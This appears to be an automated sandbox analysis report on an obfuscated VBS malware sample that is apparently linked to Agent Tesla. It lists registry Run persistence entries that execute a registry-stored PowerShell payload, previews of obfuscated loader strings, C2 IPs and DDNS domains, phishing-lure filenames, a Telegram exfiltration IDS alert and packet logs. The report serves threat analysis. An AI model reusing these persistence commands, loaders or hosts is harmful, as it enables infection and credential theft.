20:45:25	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Hugi %tullio% -w 1 $Unrejoicing41=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Expansiveness;%tullio% ($Unrejoicing41)
20:47:08	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Attractant %tullio% -w 1 $Sporing21=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Premodify;%tullio% ($Sporing21)
20:47:16	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Attractant %tullio% -w 1 $Sporing21=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Premodify;%tullio% ($Sporing21)

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
37.0.14.209	IMG_202202811-0443.vbs	Get hash	malicious	Browse
	IMG_20220230113-9083.vbs	Get hash	malicious	Browse
	IMG_2022112022-6468.vbs	Get hash	malicious	Browse
	IMG_202202203180001.vbs	Get hash	malicious	Browse
	doc_2022100203974182675542.vbs	Get hash	malicious	Browse
	DOC_202210120219425195489.vbs	Get hash	malicious	Browse
	doc_100215997502781493216020.pdf.vbs	Get hash	malicious	Browse
	PI98947.exe	Get hash	malicious	Browse
	MV SHIP Cargo Documents.exe	Get hash	malicious	Browse
	Offer050920221200_pdf.exe	Get hash	malicious	Browse
149.154.167.220	hesaphareketi-01.pdf.exe	Get hash	malicious	Browse
	PO.exe	Get hash	malicious	Browse
	500 126.html	Get hash	malicious	Browse
	500 126.html	Get hash	malicious	Browse
	Carta de pago.exe	Get hash	malicious	Browse
	INVOICE SHIPPING-PACKING LIST.exe	Get hash	malicious	Browse
	FedEx Express AWB#53053232097Receipt.exe	Get hash	malicious	Browse
	Rfq#Specification.exe	Get hash	malicious	Browse
	SHIPPING INVOICE-PACKING LIST DOCS.exe	Get hash	malicious	Browse
	IMG_202202811-0443.vbs	Get hash	malicious	Browse
	hesaphareketi-01.exe	Get hash	malicious	Browse
	DHLDOCUMENTS27011222.exe	Get hash	malicious	Browse
	Halkbank.exe	Get hash	malicious	Browse
	Ziraat-bankasiSwiftMessaji2811202245678765.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Win32.PWSX-gen.8427.25662.exe	Get hash	malicious	Browse
	SecuriteInfo.com.W64.Agent.FIC.gen.Eldorado.1956.16034.exe	Get hash	malicious	Browse
	SecuriteInfo.com.W64.Agent.FIC.gen.Eldorado.14198.17336.exe	Get hash	malicious	Browse
	Board CallQ4.html	Get hash	malicious	Browse
	Overdue_account letter.exe	Get hash	malicious	Browse
	Shipment-Document.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
myfrontmannyfive.ddns.net	IMG_202202811-0443.vbs	Get hash	malicious	Browse	37.0.14.209
	IMG_2022112022-6468.vbs	Get hash	malicious	Browse	37.0.14.209
	IMG_202202203180001.vbs	Get hash	malicious	Browse	37.0.14.209
	doc_2022100203974182675542.vbs	Get hash	malicious	Browse	37.0.14.209
	DOC_202210120219425195489.vbs	Get hash	malicious	Browse	37.0.14.209
	doc_100215997502781493216020.pdf.vbs	Get hash	malicious	Browse	37.0.14.209
	gugu.vbs	Get hash	malicious	Browse	185.19.85.162
backupfrontmanny.duckdns.org	IMG_202202811-0443.vbs	Get hash	malicious	Browse	84.38.134.104
	IMG_20220230113-9083.vbs	Get hash	malicious	Browse	37.0.14.209
	IMG_2022112022-6468.vbs	Get hash	malicious	Browse	84.38.134.104
	IMG_202202203180001.vbs	Get hash	malicious	Browse	84.38.134.104
	doc_2022100203974182675542.vbs	Get hash	malicious	Browse	84.38.134.104
	DOC_202210120219425195489.vbs	Get hash	malicious	Browse	37.0.14.209
	doc_100215997502781493216020.pdf.vbs	Get hash	malicious	Browse	37.0.14.209
	doc_59920100958-825495361592.pdf.vbs	Get hash	malicious	Browse	84.38.134.104
	doc_41617304446-5779329884601.vbs	Get hash	malicious	Browse	84.38.134.104
	doc_69551647960-81405209588.pdf.vbs	Get hash	malicious	Browse	84.38.134.104
	ARRIVAL_NOTICE_BL_NO_607847370.pdf.vbs	Get hash	malicious	Browse	84.38.134.104
	doc_8646626921-81609948075.pdf.vbs	Get hash	malicious	Browse	84.38.134.104
	Maersk Your Transport Plan has Changed.vbs	Get hash	malicious	Browse	84.38.134.104
	Arrival_Notice_BL_No_607954658.vbs	Get hash	malicious	Browse	84.38.134.104

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
WKD-ASIE	IMG_202202811-0443.vbs	Get hash	malicious	Browse	37.0.14.209
	000211232334_33455INVOICE .vbs	Get hash	malicious	Browse	37.0.14.198
	IMG_20220230113-9083.vbs	Get hash	malicious	Browse	37.0.14.209
	IMG_2022112022-6468.vbs	Get hash	malicious	Browse	37.0.14.209
	INV CI915998.vbs	Get hash	malicious	Browse	37.0.14.198
	Revised Enquiry.exe	Get hash	malicious	Browse	37.0.14.195
	YlXwUtoUjp.exe	Get hash	malicious	Browse	37.0.14.212
	REVISED PO -TSTC22-1011_Pdf.exe	Get hash	malicious	Browse	37.0.14.216
	NH1QxUETyQ.exe	Get hash	malicious	Browse	37.0.14.212
	Rechnung Nr. 80134 Weltgebetstag Thomashof.hta	Get hash	malicious	Browse	37.0.14.212
	Rechnung Nr. 30134 Weltgebetstag Thomashof.hta	Get hash	malicious	Browse	37.0.14.212
	Rechnung Nr. 40134 Weltgebetstag Thomashof.hta	Get hash	malicious	Browse	37.0.14.212
	msonedrive.exe	Get hash	malicious	Browse	37.0.14.212
	Rechnung Nr. 20134 Weltgebetstag Thomashof.hta	Get hash	malicious	Browse	37.0.14.212
	2022.11.09 payment confirmation 0,99pdf.exe	Get hash	malicious	Browse	37.0.14.216
	7OgGOqiXd3.exe	Get hash	malicious	Browse	37.0.14.214
	ScanDocumentsfiles00204865030303388493335950.exe	Get hash	malicious	Browse	37.0.14.214
	image2021042GFREDS12322ERDQ1DOC03027382DOC202205.exe	Get hash	malicious	Browse	37.0.14.214
	OneDrive.exe	Get hash	malicious	Browse	37.0.14.207
	Swift Copy MT103_pdf.exe	Get hash	malicious	Browse	37.0.14.207

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	hesaphareketi-01.pdf.exe	Get hash	malicious	Browse	149.154.167.220
	buH9VrC1dQ.exe	Get hash	malicious	Browse	149.154.167.220
	hZmf6K2R58.exe	Get hash	malicious	Browse	149.154.167.220
	PO-08784 xlsx.vbe	Get hash	malicious	Browse	149.154.167.220
	KWIR000714988.exe	Get hash	malicious	Browse	149.154.167.220
	file.exe	Get hash	malicious	Browse	149.154.167.220
	Attach Qoute.exe	Get hash	malicious	Browse	149.154.167.220
	PO.exe	Get hash	malicious	Browse	149.154.167.220
	SWIFT Payment W076001.exe	Get hash	malicious	Browse	149.154.167.220
	Carta de pago.exe	Get hash	malicious	Browse	149.154.167.220
	file.exe	Get hash	malicious	Browse	149.154.167.220
	Ordine n.47201 pdf.vbs	Get hash	malicious	Browse	149.154.167.220
	vbc.exe	Get hash	malicious	Browse	149.154.167.220
	Ransomware.exe	Get hash	malicious	Browse	149.154.167.220
	INV and NOA.exe	Get hash	malicious	Browse	149.154.167.220
	ORDERFT-PO-0276-22 & PO pdf.exe	Get hash	malicious	Browse	149.154.167.220
	SAP_RFQ-22-QAI-OPS-0067.Docx.exe	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.Win32.PWSX-gen.543.5711.exe	Get hash	malicious	Browse	149.154.167.220
	INVOICE SHIPPING-PACKING LIST.exe	Get hash	malicious	Browse	149.154.167.220
	PO-IB5708.exe	Get hash	malicious	Browse	149.154.167.220

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\Bichloride.vbs

Download File

Process:	C:\Program Files (x86)\Internet Explorer\ieinstal.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	832829
Entropy (8bit):	5.0885712239317815
Encrypted:	false
SSDEEP:	12288:cJ17c8wKTCYUZHz+ri3+U1yGgRfEDn5XJakQUEGkmKs7gPZ8PNMnkbV3Bu5qc:M7/AEi3o0n5ILsLbVxuN
MD5:	4C8882314A2E1B18655660C964A5EBF6
SHA1:	5FA1E07C13863BEC4C07FFEEE7770D8597ADC3FB
SHA-256:	6C7CC2AFF7208B2C622C28BED2101EC371FAE91B6981568515842B9269DFFD0E
SHA-512:	E00575BAB08F2C1AD8942EFAE3ED9AF5ABDD5439493C11987091BCD955942C19ED6C213DE1B1DEA70EF8519BF16996FF4571A3A5B6FD1F4FFC1CC1A61369D9FF
Malicious:	false
Preview:	Tr8 = Tr8 & "6wLTqusC"..Tr8 = Tr8 & "JDqB7QADAA"..Tr8 = Tr8 & "BxAZt"..Tr8 = Tr8 & "xAZuL"..Tr8 = Tr8 & "VCQI6wJzbHE"..Tr8 = Tr8 & "Bm4t8JATrA"..Tr8 = Tr8 & "qkncQG"..Tr8 = Tr8 & "bievrAp"..Tr8 = Tr8 & "kGcQGbg"..Tr8 = Tr8 & "cOcAAAA"..Tr8 = Tr8 & "cQGb6wL"..Tr8 = Tr8 & "I11PrAtYFc"..Tr8 = Tr8 & "QGbak"..Tr8 = Tr8 & "DrArrE6wIDR"..Tr8 = Tr8 & "HEBm+sC"..Tr8 = Tr8 & "xm6J63"..Tr8 = Tr8 & "EBm+s"..Tr8 = Tr8 & "CUnnHgwABA"..Tr8 = Tr8 & "AAAABAAcQG"..Tr8 = Tr8 & "b6wL+"..Tr8 = Tr8 & "roHDA"..Tr8 = Tr8 & "AEAAOs"..Tr8 = Tr8 & "C8kBxAZtTcQ"..Tr8 = Tr8 & "Gb6wJIMIn"..Tr8 = Tr8 & "r6wLM+esC"..Tr8 = Tr8 & "2EWJu"..Tr8 = Tr8 & "wQBAAB"..Tr8 = Tr8 & "xAZvrA"..Tr8 = Tr8 & "vXtgcMEAQAA"..Tr8 = Tr8 & "6wJl5"..Tr8 = Tr8 & "OsCsXlT"..Tr8 = Tr8 & "6wKMRXEB"..Tr8 = Tr8 & "m2r/c"..Tr8 = Tr8 & "QGbcQ"..Tr8 = Tr8 & "Gbg8I"..Tr8 = Tr8 & "F6wLi"..Tr8 = Tr8 & "73EBmzH"..Tr8 = Tr8 & "2cQGbcQGb"..Tr8 = Tr8 & "McnrAky"..Tr8 = Tr8 & "ZcQGbixr"..Tr8 = Tr8 & "rAheQ6wJVEE"..Tr8 = Tr8 & "HrAgPc6wLrc"..Tr8 = Tr8 & "Dk

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2c4howsr.nhi.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5elcf2ed.d41.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ibfztpdx.ynr.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mufoeags.irm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

\Device\ConDrv

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	30
Entropy (8bit):	3.964735178725505
Encrypted:	false
SSDEEP:	3:IBVFBWAGRHneyy:ITqAGRHner
MD5:	9F754B47B351EF0FC32527B541420595
SHA1:	006C66220B33E98C725B73495FE97B3291CE14D9
SHA-256:	0219D77348D2F0510025E188D4EA84A8E73F856DEB5E0878D673079D05840591
SHA-512:	C6996379BCB774CE27EEEC0F173CBACC70CA02F3A773DD879E3A42DA554535A94A9C13308D14E873C71A338105804AFFF32302558111EE880BA0C41747A08532
Malicious:	false
Preview:	NordVPN directory not found!..

Static File Info

General

File type:	ASCII text, with CRLF line terminators
Entropy (8bit):	5.08517872813569
TrID:
File name:	IMG_2022028022-0120.vbs
File size:	837420
MD5:	752418aa9de96e0fc941ae1e7e33c906
SHA1:	bb67df2d8a4b525b42211630386e4b51a97255a3
SHA256:	cdce0391762117cc926a2131b5e0ec7724b69d1224dbabc7a3f351dfebf9b9bf
SHA512:	930b079189279aa377bca9b64471ecd0956522715e89eebc1a818166bbd6d309491ec6bd8714d4cc5db34ca824627b2e087e79f7b1d9ad7033c38dfd0d56c3c7
SSDEEP:	12288:S6SeO/ZNca+0J/FEituFvSnQ+7XPwVr2rhs+MDRpmrtVUBM/LB2g+ZImPkQN3BSq:EKpfTGVKaQNxSq
TLSH:	1E05A06394151590870DADAE884ADDF8CCA1021EB513241607B0BB7E2F6F8E8BDDB5DF
File Content Preview:	Un9 = Un9 & "cQGbcQGbge0"..Un9 = Un9 & "AAwAAcQGb6w"..Un9 = Un9 & "LhDItUJAjrA"..Un9 = Un9 & "rL/cQGbi3"..Un9 = Un9 & "wkBOsCqLX"..Un9 = Un9 & "rAmpUietxAZ"..Un9 = Un9 & "txAZuBw5wAA"..Un9 = Un9 & "ABxAZtx"..Un9 = Un9 & "AZtTc"..Un9 = Un9 & "QGb6wJJP"..Un

File Icon


Icon Hash:	e8d69ece869a9ec4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.11.20149.154.167.220498814432851779 11/28/22-20:47:47.307107	TCP	2851779	ETPRO TROJAN Agent Tesla Telegram Exfil	49881	443	192.168.11.20	149.154.167.220

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 28, 2022 20:45:13.139298916 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.148035049 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.148372889 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.148950100 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.157700062 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.298326969 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.298404932 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.298463106 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.298548937 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.298604965 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.298662901 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.298672915 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.298722029 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.298753977 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.298810005 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.298831940 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.298907042 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.298962116 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.298998117 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.299035072 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.299051046 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.299118042 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.299124002 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.299205065 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.299315929 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.336026907 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.336102009 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.336159945 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.336214066 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.336272001 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.336381912 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.336391926 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.336474895 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.336536884 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.336594105 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.336647987 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.336703062 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.336709976 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.336782932 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.336816072 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.336863041 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.336895943 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.336952925 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.337018013 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.337042093 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.337090015 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.337107897 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.337177038 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.337193966 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.337253094 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.337275982 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.337438107 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.337439060 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.337460041 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.337543964 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.337605953 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.337665081 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.337693930 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.337734938 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.337775946 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.337846994 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.338020086 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.375611067 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.375674963 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.375912905 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.376435995 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.376504898 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.376560926 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.376617908 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.376627922 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.376687050 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.376707077 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.376768112 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.376789093 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.376867056 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.376921892 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.376956940 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.376998901 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.377038002 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.377080917 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.377118111 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.377168894 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.377234936 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.377270937 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.377310038 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.377326965 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.377397060 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.377403021 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.377477884 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.377484083 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.377557993 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.377583027 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.377641916 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.377645016 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.377722979 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.377727032 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.377801895 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.377808094 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.377882004 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.377907038 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.377966881 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.377969027 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.378046036 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.378070116 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.378129959 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.378130913 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.378207922 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.378232002 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.378293037 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.378293037 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.378364086 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.378376007 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.378457069 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.378535986 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.378565073 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.378683090 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.378685951 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.378762960 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.378827095 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.378886938 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.378889084 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.378963947 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.378979921 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.379045963 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.379060984 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.379116058 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.379214048 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.379275084 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.382961988 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.383030891 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.383148909 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.383152962 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.383236885 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.383305073 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.383311033 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.383359909 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.383389950 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.383425951 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.383476019 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.383517027 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.383557081 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.383627892 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.383635998 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.383678913 CET	49811	80	192.168.11.20	172.67.169.218
